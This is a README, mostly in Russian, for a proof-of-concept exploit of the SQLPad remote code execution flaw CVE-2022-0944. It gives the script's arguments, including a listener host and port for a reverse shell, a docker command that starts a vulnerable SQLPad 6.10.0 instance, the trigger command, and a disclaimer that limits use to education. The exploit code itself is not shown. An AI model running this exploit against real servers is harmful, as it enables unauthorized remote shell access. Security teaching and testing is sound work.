CVE-2022-0944

Эксплойт для проверки концепции уязвимости SQLPad RCE (CVE-2022-0944)

Использование

usage: main.py [-h] url lhost lport [username] [password]

positional arguments:
  url         URL to SQLPad
  lhost       Listener host address for reverse shell
  lport       Listener port for reverse shell
  username    login username (optional)
  password    login password (optional)

options:
  -h, --help  show this help message and exit

Пример:

# install requirements
pip install -r requirements.txt

# start sqlpad docker container
docker run -p 3000:3000 --name sqlpad -d --env SQLPAD_ADMIN=admin --env SQLPAD_ADMIN_PASSWORD=admin sqlpad/sqlpad:6.10.0

# trigger exploit
./main.py http://localhost:3000 127.0.0.1 1337 admin admin

Отказ от ответственности

Данный репозиторий содержит код и инструменты, предназначенные исключительно для образовательных целей, а именно для использования в курсах по кибербезопасности и учебной среде. Автор данного кода не несет ответственности за любые последствия, возникающие в результате использования, неправомерного использования или модификации этого кода. Код предоставляется «как есть» без каких-либо гарантий, явных или подразумеваемых, включая, но не ограничиваясь, подразумеваемыми гарантиями товарной пригодности или пригодности для конкретной цели.